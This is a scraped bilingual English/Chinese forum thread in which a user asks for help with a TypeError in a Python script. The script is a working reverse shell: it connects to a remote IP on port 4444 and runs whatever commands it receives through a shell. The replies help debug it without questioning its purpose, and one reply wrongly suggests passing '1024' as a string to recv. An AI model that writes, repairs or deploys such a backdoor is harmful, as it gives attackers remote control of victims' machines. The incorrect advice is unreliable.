[英]TypeError: argument of type 'int' is not iterable when implementing socket program
Full error list Just help me solve this error, please I have just added a random IP for security reasons the problem is in the while loop.完整的错误列表请帮我解决这个错误,出于安全原因,我刚刚添加了一个随机 IP 问题出在 while 循环中。 Here is the python code in which I'm getting an error:
这是我收到错误的 python 代码:
import socket, subprocess
def execute_system_command(command):
return subprocess.check_output(command, shell=True)
connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("1.2.3.4",4444))
connection.send(b"\n[+] Connection established.\n")
while True:
command = connection.recv(1024)
command_result = execute_system_command(command)
connection.send(command_result)
connection.close()
command = connection.recv(1024)
This line gets a bytes
object from the connection, which you then pass into your execute_system_command
function:此行从连接中获取
bytes
object,然后将其传递到execute_system_command
function:
execute_system_command(command)
And in that function, you pass the bytes
object to the args
positional argument of subprocess.check_output
:在 function 中,您将
bytes
object 传递给subprocess.check_output
的args
位置参数:
def execute_system_command(command):
return subprocess.check_output(command, shell=True)
But args
which should either be a string, or an iterable of arguments https://docs.python.org/2/library/subprocess.html#frequently-used-arguments .但是
args
应该是一个字符串,或者是 arguments https://docs.python.org/2/library/subprocess.html#frequently Check what gets assigned to command
and you'll probably find your issue.检查分配给
command
的内容,您可能会发现问题。
You should share the error image if possible with line number.如果可能,您应该与行号共享错误图像。 I think you should use "1024" with connection.recv.
我认为您应该在 connection.recv 中使用“1024”。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.